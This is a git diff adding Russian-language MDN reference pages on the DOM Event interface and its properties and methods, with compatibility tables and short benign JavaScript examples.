{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[1]{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] В Internet Explorer с 6 по 8, событийная модель иная. Слушатели событий привяззываются к нестандартному методу element.attachEvent. В данной модели не существует эквивалента event.currentTarget и this - это глобальный объект. Единственный способ имитировать свойство event.currentTarget - обернуть ваш обработчик в функцию, вызывающую обработчик с использованием Function.prototype.call с элементом в качестве первого аргумента. Данным способом this примет ожидаемое значение.

+ +

См.также

+ +

Comparison of Event Targets

diff --git a/files/ru/web/api/event/defaultprevented/index.html b/files/ru/web/api/event/defaultprevented/index.html new file mode 100644 index 0000000000..6edec91a84 --- /dev/null +++ b/files/ru/web/api/event/defaultprevented/index.html @@ -0,0 +1,104 @@ +--- +title: Event.defaultPrevented +slug: Web/API/Event/defaultPrevented +translation_of: Web/API/Event/defaultPrevented +--- +
{{ APIRef("DOM") }}
+ +

Описание

+ +

Возвращает boolean-значение, информирующее о том, был ли вызван {{ domxref("event.preventDefault()") }} в текущем обработчике события.

+ +
Note: Используйте это свойство вместо устаревшего метода getPreventDefault() (смотри {{ bug(691151) }}).
+ +

Синтаксис

+ +
var defaultWasPrevented = event.defaultPrevented;
+ +

Пример

+ +
 if (e.defaultPrevented) {
+   /* по умолчанию не выполнится */
+ }
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоммент.
{{SpecName('DOM WHATWG', '#dom-event-defaultprevented', 'Event.defaultPrevented()')}}{{ Spec2('DOM WHATWG') }} 
{{SpecName('DOM4', '#dom-event-defaultprevented', 'Event.defaultPrevented')}}{{Spec2('DOM4')}}Initial definition.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatChrome(18) }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("6.0") }}{{ CompatIE(9.0) }}{{ CompatOpera(11.0) }}{{ CompatSafari("5.0") }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile("6.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatSafari(5.0) }}
+
+ + diff --git a/files/ru/web/api/event/event/index.html b/files/ru/web/api/event/event/index.html new file mode 100644 index 0000000000..ac31f2ee21 --- /dev/null +++ b/files/ru/web/api/event/event/index.html @@ -0,0 +1,73 @@ +--- +title: Event() +slug: Web/API/Event/Event +translation_of: Web/API/Event/Event +--- +

{{APIRef("DOM")}}

+ +

Конструктор Event() создает новый объект события {{domxref("Event")}}.

+ +

Синтаксис

+ +
 event = new Event(typeArg, eventInit);
+ +

Параметры

+ +
+
typeArg
+
Строковое ({{domxref("DOMString")}}) значение, представляющее имя события.
+
eventInit {{optional_inline}}
+
+ +
+
Is an EventInit dictionary, having the following fields: + +
    +
  • "bubbles": (Необязательный) логическое значение ({{jsxref("Boolean")}}) указывающее – будет ли событие всплывающим. По умолчанию false.
    • +
  • "cancelable": (Необязательный) логическое значение ({{jsxref("Boolean")}}) указывает, может ли событие быть отменено. По умолчанию false.
    • +
  • "composed": (Необязательный) логическое значение {{jsxref("Boolean")}} указывающее – будет ли событие всплывать наружу за пределы shadow root. По умолчанию false. 
    • +
+
+
+ +

Пример

+ +
//  создать событие "look", событие всплывающее и не может быть отменено
+
+var evt = new Event("look", {"bubbles":true, "cancelable":false});
+document.dispatchEvent(evt);
+
+// событие может быть инициализировано на любом элементе, а не только на документе
+myDiv.dispatchEvent(evt);
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG','#interface-event','Event()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.Event.Event")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/event/eventphase/index.html b/files/ru/web/api/event/eventphase/index.html new file mode 100644 index 0000000000..7ae3ee150d --- /dev/null +++ b/files/ru/web/api/event/eventphase/index.html @@ -0,0 +1,144 @@ +--- +title: Event.eventPhase +slug: Web/API/Event/eventPhase +tags: + - API + - DOM + - Gecko + - Gecko DOM Reference + - Property + - Reference +translation_of: Web/API/Event/eventPhase +--- +

{{ ApiRef("DOM") }}

+ +

Общая информация

+ +

Отображает текущую фазу процесса обработки события.

+ +

Синтаксис

+ +
var phase = event.eventPhase;
+
+ +

Возвращает целое число, соответствующее одной из 4 констант:

+ + + +

Смысл констант смотри в section 3.1, Event dispatch and DOM event flow, спецификации DOM Level 3.

+ +

Пример

+ +
<!DOCTYPE html>
+<html>
+<head> <title>Event Propagation</title>
+  <style type="text/css">
+    body { font-family:'Trebuchet MS'; }
+    div { margin: 20px; padding: 4px; border: thin black solid; }
+    #divInfo { margin: 18px; padding: 8px; background-color:white; font-size:80%; }
+  </style>
+</head>
+<body>
+  <h4>Event Propagation Chain</h4>
+  <ul>
+    <li>Click 'd1'</li>
+    <li>Analyse event propagation chain</li>
+    <li>Click next div and repeat the experience</li>
+    <li>Change Capturing mode</li>
+    <li>Repeat the experience</li>
+  </ul>
+  <input type="checkbox" id="chCapture" /> Use Capturing
+  <div id="d1">d1
+    <div id="d2">d2
+      <div id="d3">d3
+        <div id="d4">d4</div>
+      </div>
+    </div>
+  </div>
+  <div id="divInfo"></div>
+  <script>
+    var
+      clear = false,
+      divInfo = null,
+      divs = null,
+      useCapture = false;
+  window.onload = function ()
+  {
+    divInfo = document.getElementById("divInfo");
+    divs = document.getElementsByTagName('div');
+    chCapture = document.getElementById("chCapture");
+    chCapture.onclick = function ()
+    {
+      RemoveListeners();
+      AddListeners();
+    }
+    Clear();
+    AddListeners();
+  }
+  function RemoveListeners()
+  {
+    for (var i = 0; i < divs.length; i++)
+    {
+      var d = divs[i];
+      if (d.id != "divInfo")
+      {
+        d.removeEventListener("click", OnDivClick, true);
+        d.removeEventListener("click", OnDivClick, false);
+      }
+    }
+  }
+  function AddListeners()
+  {
+    for (var i = 0; i < divs.length; i++)
+    {
+      var d = divs[i];
+      if (d.id != "divInfo")
+      {
+        d.addEventListener("click", OnDivClick, false);
+        if (chCapture.checked)
+          d.addEventListener("click", OnDivClick, true);
+        d.onmousemove = function () { clear = true; };
+      }
+    }
+  }
+  function OnDivClick(e)
+  {
+    if (clear)
+    {
+      Clear();
+      clear = false;
+    }
+
+    if (e.eventPhase == 2)
+      e.currentTarget.style.backgroundColor = 'red';
+
+    var level =
+        e.eventPhase == 0 ? "none" :
+        e.eventPhase == 1 ? "capturing" :
+        e.eventPhase == 2 ? "target" :
+        e.eventPhase == 3 ? "bubbling" : "error";
+    divInfo.innerHTML += e.currentTarget.id + "; eventPhase: " + level + "<br/>";
+  }
+  function Clear()
+  {
+    for (var i = 0; i < divs.length; i++)
+    {
+      if (divs[i].id != "divInfo")
+        divs[i].style.backgroundColor = (i & 1) ? "#f6eedb" : "#cceeff";
+    }
+    divInfo.innerHTML = '';
+  }
+  </script>
+</body>
+</html>
+ +

Спецификация

+ +

DOM Level 2 Events: Event.eventPhase

+ +

{{ languages( { "pl": "pl/DOM/event.eventPhase" } ) }}

diff --git a/files/ru/web/api/event/index.html b/files/ru/web/api/event/index.html new file mode 100644 index 0000000000..fbc7c4726f --- /dev/null +++ b/files/ru/web/api/event/index.html @@ -0,0 +1,251 @@ +--- +title: Event +slug: Web/API/Event +tags: + - API + - DOM + - Event + - Interface + - Reference + - Событие +translation_of: Web/API/Event +--- +

{{APIRef("DOM")}}

+ +

Интерфейс Event представляет собой любое событие, которое происходит в DOM; некоторые из них генерируемые пользователем (клик мышью или нажатие клавиши на клавиатуре), а некоторые - генерируемые API (события, обозначающие завершение процесса анимации, приостановка видео и т.д.). Существует много типов событий, некоторые из них используют интерфейсы, базирующиеся на главном интерфейсе Event. Event содержит общие свойства и методы для всех событий.

+ +

Интерфейсы, основанные на Event

+ +

Ниже приведён список интерфейсов, основанных на главном интерфейсе Event, а также указаны ссылки на них в документации MDN API. Заметьте, что имена всех интерфейсов оканчиваются на "Event".

+ +
+ +
+ +

Конструктор

+ +
+
{{domxref("Event.Event", "Event()")}}
+
Создает объект Event и возвращает его вызывающему.
+
+ +

Свойства

+ +
+
{{domxref("Event.bubbles")}} {{readonlyinline}}
+
Логическое значение, указывающее, вспыло ли событие вверх по DOM или нет.
+
{{domxref("Event.cancelBubble")}}
+
Историческое название синонима {{domxref("Event.stopPropagation()")}}. Если установить знаение в true до возврата из обработчика события (Event Handler), то событие не будет распространяться дальше (например, на обрабочики для родительских узлов).
+
{{domxref("Event.cancelable")}} {{readonlyinline}}
+
Логическое значение, показывающее возможность отмены события.
+
{{domxref("Event.composed")}} {{ReadOnlyInline}}
+
Логическое значение, показывающее может или нет событие всплывать через границы между shadow DOM (внутренний DOM конкретного элемента) и обычного DOM документа.
+
{{domxref("Event.currentTarget")}} {{readonlyinline}}
+
Ссылка на текущий зарегистрированный объект, на котором обрабатывается событие. Это объект, которому планируется отправка события; поведение можно изменить с использованием перенаправления (retargeting).
+
{{domxref("Event.deepPath")}} {{non-standard_inline}}
+
{{jsxref("Array", "Массив")}} DOM-{{domxref("Node", "узлов")}}, через которые всплывало событие.
+
{{domxref("Event.defaultPrevented")}} {{readonlyinline}}
+
Показывает, была ли для события вызвана функция {{domxref("event.preventDefault()")}}.
+
{{domxref("Event.eventPhase")}} {{readonlyinline}}
+
Указывает фазу процесса обработки события.
+
{{domxref("Event.explicitOriginalTarget")}} {{non-standard_inline}} {{readonlyinline}}
+
Явный первоначальный целевой объект события (Mozilla-специфичный). Не может содержать анонимного контента.
+
{{domxref("Event.originalTarget")}} {{non-standard_inline}} {{readonlyinline}}
+
Первоначальный целевой объект события до перенаправлений (Mozilla-специфичный). Может быть из анонимного контента.
+
{{domxref("Event.returnValue")}} {{non-standard_inline}}
+
Нестандартная альтернатива (оставшаяся от старых версий Microsoft Internet Explorer) для {{domxref("Event.preventDefault()")}} и {{domxref("Event.defaultPrevented")}}.
+
{{domxref("Event.scoped")}} {{readonlyinline}} {{obsolete_inline}}
+
{{jsxref("Boolean", "Логическое значение")}}, показывающее всплывает ли данное событие через shadow root (внутренний DOM элемента). Это свойство было переименовано в  {{domxref("Event.composed", "composed")}}.
+
{{domxref("Event.srcElement")}} {{non-standard_inline}}
+
Нестандартный синоним (остался от старых версий Microsoft Internet Explorer) для {{domxref("Event.target")}}.
+
{{domxref("Event.target")}} {{readonlyinline}}
+
Ссылка на целевой объект, на котором произошло событие.
+
{{domxref("Event.timeStamp")}} {{readonlyinline}}
+
Время, когда событие было создано (в миллисекундах). По спецификации это время от начала Эпохи (Unix Epoch), но в действительности в разных браузерах определяется по-разному; кроме того, ведётся работа по изменению его на {{domxref("DOMHighResTimeStamp")}} тип.
+
{{domxref("Event.type")}} {{readonlyinline}}
+
Название события (без учета регистра символов).
+
{{domxref("Event.isTrusted")}} {{readonlyinline}}
+
Показывает было или нет событие инициировано браузером (например, по клику мышью) или из скрипта (например, через функцию создания события, такую как event.initEvent)
+
+ +

Методы

+ +

 

+ +
+
{{domxref("Event.createEvent()")}} 
+
+

Создаёт новое событие, которое затем должно быть проинициализировано вызовом его метода initEvent().

+
+
+ +

 

+ +
+
{{domxref("Event.initEvent()")}} {{deprecated_inline}}
+
Инициализация значений созданного с помощью Document.createEvent() события. Если событие уже отправлено, то эта функция ничего не делает.
+
{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}
+
Предотвращает всплытие события. Устаревшая, используйте вместо неё {{domxref("event.stopPropagation")}}.
+
{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}
+
Устаревшая, используйте вместо неё {{domxref("event.stopPropagation")}}.
+
{{domxref("Event.preventDefault()")}}
+
Отменяет событие (если его возможно отменить).
+
{{domxref("Event.stopImmediatePropagation()")}}
+
Для конкретного события не будет больше вызвано обработчиков. Ни тех, которые привязаны к этому же элементу (на котором работает обработчик, который вызывает этот Event.stopImmediatePropagation()), ни других, которые могли бы вызваться при распространении события позже (например, в фазе перехвата - capture).
+
{{domxref("Event.stopPropagation()")}}
+
Остановка распространения события далее по DOM.
+
{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}}
+
Нестандартная. Возвращает значение {{domxref("Event.defaultPrevented")}}. Используйте вместо неё {{domxref("Event.defaultPrevented")}}.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}{{Spec2('DOM WHATWG')}} 
+ +

Совместимость браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
cancelBubble определён в  Event{{CompatUnknown}}{{CompatGeckoDesktop(53)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
cancelBubble определён в Event{{CompatUnknown}}{{CompatGeckoMobile(53)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] До Firefox 52, это свойство было определено в интерфейсе {{domxref("UIEvent")}}. Для деталей смотрите {{bug(1298970)}}.

+ +

Смотрите так же

+ + diff --git a/files/ru/web/api/event/initevent/index.html b/files/ru/web/api/event/initevent/index.html new file mode 100644 index 0000000000..a3c18c08a3 --- /dev/null +++ b/files/ru/web/api/event/initevent/index.html @@ -0,0 +1,78 @@ +--- +title: Event.initEvent() +slug: Web/API/Event/initEvent +translation_of: Web/API/Event/initEvent +--- +
{{ ApiRef("DOM") }}{{deprecated_header}}
+ +

The Event.initEvent() method is used to initialize the value of an {{ domxref("event") }} created using {{ domxref("Document.createEvent()") }}.

+ +

Events initialized in this way must have been created with the {{ domxref("Document.createEvent()") }} method. This method must be called to set the event before it is dispatched, using {{ domxref("EventTarget.dispatchEvent()") }}. Once dispatched, it doesn't do anything anymore.

+ +
+

Не используйте этот метод, т.к. он устаревший. (deprecated)

+ +

Вместо него используйте такой специальный конструктор событий, как {{domxref("Event.Event", "Event()")}}. Страница Creating and triggering events даст больше информации о возможностях использования.

+
+ +

Синтаксис

+ +
event.initEvent(type, bubbles, cancelable);
+ +
+
type
+
{{domxref("DOMString")}}, определяющая тип события.
+
bubbles
+
Is a {{jsxref("Boolean")}} deciding whether the event should bubble up through the event chain or not. Once set, the read-only property {{ domxref("Event.bubbles") }} will give its value.
+
cancelable
+
Is a {{jsxref("Boolean")}} defining whether the event can be canceled. Once set, the read-only property {{ domxref("Event.cancelable") }} will give its value.
+
+ +

Пример

+ +
// Create the event.
+var event = document.createEvent('Event');
+
+// Create a click event that bubbles up and
+// cannot be canceled 
+event.initEvent('click', true, false);
+
+// Listen for the event.
+elem.addEventListener('click', function (e) {
+  // e.target matches elem
+}, false);
+
+elem.dispatchEvent(event);
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-event-initevent','Event.initEvent()')}}{{Spec2("DOM WHATWG")}}Начиная с {{SpecName('DOM2 Events')}} - deprecated, заменено на event constructors.
{{SpecName('DOM2 Events','##Events-Event-initEvent','Event.initEvent()')}}{{Spec2('DOM2 Events')}}Начальное определение.
+ +

Browser compatibility

+ +

{{Compat("api.Event.initEvent")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/event/istrusted/index.html b/files/ru/web/api/event/istrusted/index.html new file mode 100644 index 0000000000..db7ab78c4d --- /dev/null +++ b/files/ru/web/api/event/istrusted/index.html @@ -0,0 +1,109 @@ +--- +title: Event.isTrusted +slug: Web/API/Event/isTrusted +translation_of: Web/API/Event/isTrusted +--- +

{{APIRef("DOM")}}

+ +

isTrusted - свойство объекта {{domxref("Event")}}, доступное только на чтение. Принимает значение true, если событие было инициировано действиями пользователя, и false, если событие было создано или изменено скриптом, либо с помощью dispatchEvent

+ +

Синтакс

+ +
var bool = event.isTrusted;
+
+ +

Пример

+ +
 if (e.isTrusted) {
+     /* The event is trusted. */
+ } else {
+     /* The event is not trusted. */
+ }
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}{{ Spec2('DOM WHATWG') }} 
{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}{{Spec2('DOM3 Events')}}Добавлены требования для определения значения свойства.
{{SpecName('DOM4', '#dom-event-istrusted', 'Event.isTrusted')}}{{Spec2('DOM4')}}Первичное описание.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(46.0)}} [1]{{CompatVersionUnknown}}{{CompatNo}} [2]{{CompatOpera(33)}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatChrome(46.0)}} [1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(33)}}{{CompatNo}}{{CompatChrome(46.0)}} [1]
+
+ +

[1]  В Chrome, начиная с версии 53, события с isTrusted = false не вызывают действия по умолчанию. 

+ +

[2] В Internet Explorer, все события имеют свойство isTrusted  = true, за исключением созданных с помощью метода  createEvent().

diff --git a/files/ru/web/api/event/preventdefault/index.html b/files/ru/web/api/event/preventdefault/index.html new file mode 100644 index 0000000000..de7b9c69c1 --- /dev/null +++ b/files/ru/web/api/event/preventdefault/index.html @@ -0,0 +1,145 @@ +--- +title: Event.preventDefault() +slug: Web/API/Event/preventDefault +tags: + - DOM + - preventDefault + - метод + - события +translation_of: Web/API/Event/preventDefault +--- +
{{ apiRef("DOM") }}
+ +
Метод preventDefault () интерфейса {{domxref ("Event")}} сообщает {{Glossary("User agent")}}, что если событие не обрабатывается явно, его действие по умолчанию не должно выполняться так, как обычно. Событие продолжает распространяться как обычно, до тех пор, пока один из его обработчиков не вызывает методы {{domxref ("Event.stopPropagation", " stopPropagation ()")}} или {{domxref (" Event.stopImmediatePropagation", " stopImmediatePropagation ()")}}, любой из которых сразу же прекращает распространение.
+ +
+ +
Как отмечено ниже, вызов метода preventDefault () для события, не подлежащего отмене, например события, отправленного через {{domxref("EventTarget.dispatchEvent ()")}}, без указания cancelable: true не имеет эффекта.
+ + + +

Синтаксис

+ +
event.preventDefault();
+ +

Пример

+ +

По умолчанию щелчок по флажку переключает его состояние на противоположное. В этом примере показано, как предотвратить такое поведение:

+ +
<!DOCTYPE html>
+<html>
+<head>
+<title>Пример preventDefault</title>
+
+<script>
+function stopDefAction(evt) {
+    evt.preventDefault();
+}
+
+document.getElementById('my-checkbox').addEventListener(
+    'click', stopDefAction, false
+);
+</script>
+</head>
+
+<body>
+
+<p>Пожалуйста, щёлкните по флажку.</p>
+
+<form>
+    <input type="checkbox" id="my-checkbox" />
+    <label for="my-checkbox">Checkbox</label>
+</form>
+
+</body>
+</html>
+ +

Вы можете посмотреть работу preventDefault в действии здесь.

+ +

В следующем примере некорректный ввод останавливается и вводимый символ не добавляется в поле с preventDefault().

+ +
+
<!DOCTYPE html>
+<html>
+<head>
+<title>Пример preventDefault</title>
+
+<script>
+
+ +
function Init () {
+    var myTextbox = document.getElementById('my-textbox');
+    myTextbox.addEventListener( 'keypress', checkName, false );
+}
+
+function checkName(evt) {
+    var charCode = evt.charCode;
+    if (charCode != 0) {
+        if (charCode < 97 || charCode > 122) {
+            evt.preventDefault();
+            alert(
+                "Пожалуйста, используйте только буквы нижнего регистра на латинице"
+                + "\n" + "charCode: " + charCode + "\n"
+            );
+        }
+    }
+}
+
+ +
</script>
+</head>
+<body onload="Init ()">
+    <p>Пожалуйста, введите своё имя, используя только буквы нижнего регистра на латинице.</p>
+    <form>
+        <input type="text" id="my-textbox" />
+    </form>
+</body>
+</html>
+
+ +

Результат выполнения кода:

+ +

{{ EmbedLiveSample('preventDefault_invalid_text', '', '', '') }}

+ +

Примечания

+ +

Вызов preventDefault на любой стадии выполнения  потока событий отменяет событие, а это означает, что любое действие по умолчанию обычно принимается реализацией, как  результат события, которое  не произойдет.

+ +
+

Примечание:  В {{Gecko("6.0")}}, вызов preventDefault() приводит к {{ domxref("event.defaultPrevented") }} к переходу значения в состояние True.

+
+ +

Вы можете использовать event.cancelable чтобы проверить, является ли событие отменяемым. Вызов preventDefault для неотменяемых событий не имеет никакого эффекта.

+ +

preventDefault не останавливает дальнейшее распространение событий на DOM. Для этого следует использовать event.stopPropagation.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-event-preventdefault', 'Event.preventDefault()')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM4', '#dom-event-preventdefault', 'Event.preventDefault()')}}{{ Spec2('DOM4') }}
{{SpecName('DOM2 Events', '#Events-Event-preventDefault', 'Event.preventDefault()')}}{{ Spec2('DOM2 Events') }} +

первичное определение.

+
diff --git a/files/ru/web/api/event/srcelement/index.html b/files/ru/web/api/event/srcelement/index.html new file mode 100644 index 0000000000..813fcf0c69 --- /dev/null +++ b/files/ru/web/api/event/srcelement/index.html @@ -0,0 +1,74 @@ +--- +title: Event.srcElement +slug: Web/API/Event/srcElement +translation_of: Web/API/Event/srcElement +--- +

{{ApiRef("DOM")}}

+ +

{{ Non-standard_header() }}

+ +

Event.srcElement это проприетарный синоним стандартного свойства {{domxref("Event.target")}}. Специфичен для старых версий Microsoft Internet Explorer.

+ +

Спецификации

+ +

Не является частью каких-либо спецификаций.

+ +

Имеет описание от Microsoft на MSDN.

+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatNo}} [1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatNo}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1]: {{bug(453968)}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/event/stopimmediatepropagation/index.html b/files/ru/web/api/event/stopimmediatepropagation/index.html new file mode 100644 index 0000000000..177bffde51 --- /dev/null +++ b/files/ru/web/api/event/stopimmediatepropagation/index.html @@ -0,0 +1,31 @@ +--- +title: Event.stopImmediatePropagation() +slug: Web/API/Event/stopImmediatePropagation +tags: + - API + - Gecko DOM Reference + - NeedsBrowserCompatibility + - stopImmediatePropagation + - Событие + - Ссылка + - Уровень 3 + - Экспериментальные функции + - метод +translation_of: Web/API/Event/stopImmediatePropagation +--- +

{{APIRef("DOM")}}

+ +

Останавливает цепочку вызова событий для последующих слушателей DOM элемента.

+ +

Синтаксис

+ +
event.stopImmediatePropagation();
+
+ +

Замечания

+ +

Если несколько слушателей прикреплены к одному и тому же элементу с одинаковым типом события, тогда они будут вызваны в порядке своего добавления. Если один из этих слушателей вызовет event.stopImmediatePropagation() тогда события оставшихся слушателей вызваны не будут.

+ +

Спецификация

+ +

DOM Level 3 Events: stopImmediatePropagation

diff --git a/files/ru/web/api/event/stoppropagation/index.html b/files/ru/web/api/event/stoppropagation/index.html new file mode 100644 index 0000000000..085d9b3907 --- /dev/null +++ b/files/ru/web/api/event/stoppropagation/index.html @@ -0,0 +1,69 @@ +--- +title: Event.stopPropagation() +slug: Web/API/Event/stopPropagation +tags: + - API + - DOM + - Gecko + - stopPropagation + - Событие + - метод +translation_of: Web/API/Event/stopPropagation +--- +
{{APIRef("DOM")}}
+ +

Прекращает дальнейшую передачу текущего события.

+ +

Синтаксис

+ +
event.stopPropagation();
+ +

Пример

+ +

См. Пример 5: Event Propagation  для более детального объяснения данного метода и всего механизма передачи событий в DOM документе.

+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('DOM WHATWG', '#dom-event-stoppropagation', 'Event.stopPropagation()')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM4', '#dom-event-stoppropagation', 'Event.stopPropagation()')}}{{ Spec2('DOM4') }}
{{SpecName('DOM2 Events', '#Events-Event-stopPropagation', 'Event.stopPropagation()')}}{{ Spec2('DOM2 Events') }}Изначальное определение.
+ +

Совместимость с браузерами

+ +
+

{{Compat("api.Event.stopPropagation")}}

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/event/target/index.html b/files/ru/web/api/event/target/index.html new file mode 100644 index 0000000000..86b20f406f --- /dev/null +++ b/files/ru/web/api/event/target/index.html @@ -0,0 +1,135 @@ +--- +title: Event.target +slug: Web/API/Event/target +tags: + - Событие +translation_of: Web/API/Event/target +--- +

{{ApiRef("DOM")}}

+ +

Свойство target интерфейса {{domxref ("Event")}} является ссылкой на объект, который был инициатором события. Он отличается от {{domxref ("Event.currentTarget")}}, если обработчик события вызывается во время всплытия (bubbling) или захвата события.

+ +

Синтаксис

+ +
theTarget = event.target
+ +

Значение:

+ +

{{domxref("EventTarget")}}

+ +

Пример

+ +

Свойство event.target может быть использовано для реализации делегирования событий.

+ +
// Создадим список
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target ссылается на кликнутый <li> элемент
+  // Он отличается от e.currentTarget который будет ссылаться на родительский <ul> в этом контексте
+  e.target.style.visibility = 'hidden';
+}
+
+// Назначим обработчик к списку
+// Он будет вызван когда кликнут на любой <li>
+ul.addEventListener('click', hide, false);
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM4", "#dom-event-target", "Event.target")}}{{Spec2("DOM4")}}
{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}{{Spec2("DOM2 Events")}}Первоначальное определение.
+ +

Поддержка браузеров

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Примечания

+ +

В IE 6-8 модель событий отличается. Обработчики событий назначаются с помощью нестандартного {{domxref('EventTarget.attachEvent')}} метода. При этом в объекте события есть свойство {{domxref('Event.srcElement')}}, вместо target свойства, но по смыслу оно индентично event.target.

+ +
function hide(e) {
+  // Поддержка IE 6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/event/timestamp/index.html b/files/ru/web/api/event/timestamp/index.html new file mode 100644 index 0000000000..6a79557c96 --- /dev/null +++ b/files/ru/web/api/event/timestamp/index.html @@ -0,0 +1,103 @@ +--- +title: Event.timeStamp +slug: Web/API/Event/timeStamp +translation_of: Web/API/Event/timeStamp +--- +
{{APIRef("DOM")}}
+ +

Возвращает время (в миллисекундах), в котором было создано событие.

+ +
+

Примечание: Это свойство работает только в том случае, если система событий поддерживает его для конкретного события.

+
+ +

Синтаксис

+ +
event.timeStamp
+
+ +

Значение

+ +

Значение - это миллисекунды, прошедшие с начала жизненного цикла текущего документа до создания события.

+ +

In newer implementations, the value is a {{domxref("DOMHighResTimeStamp")}}  accurate to 5 microseconds (0.005 ms). In older implementations, the value is a {{domxref("DOMTimeStamp")}}, accurate to a millisecond.

+ +

Example

+ +

HTML content

+ +
<p>
+  Focus this iframe and press any key to get the
+  current timestamp for the keypress event.
+</p>
+<p>timeStamp: <span id="time">-</span></p>
+ +

JavaScript content

+ +
function getTime(event) {
+  var time = document.getElementById("time");
+  time.firstChild.nodeValue = event.timeStamp;
+}
+document.body.addEventListener("keypress", getTime);
+ +

Result

+ +

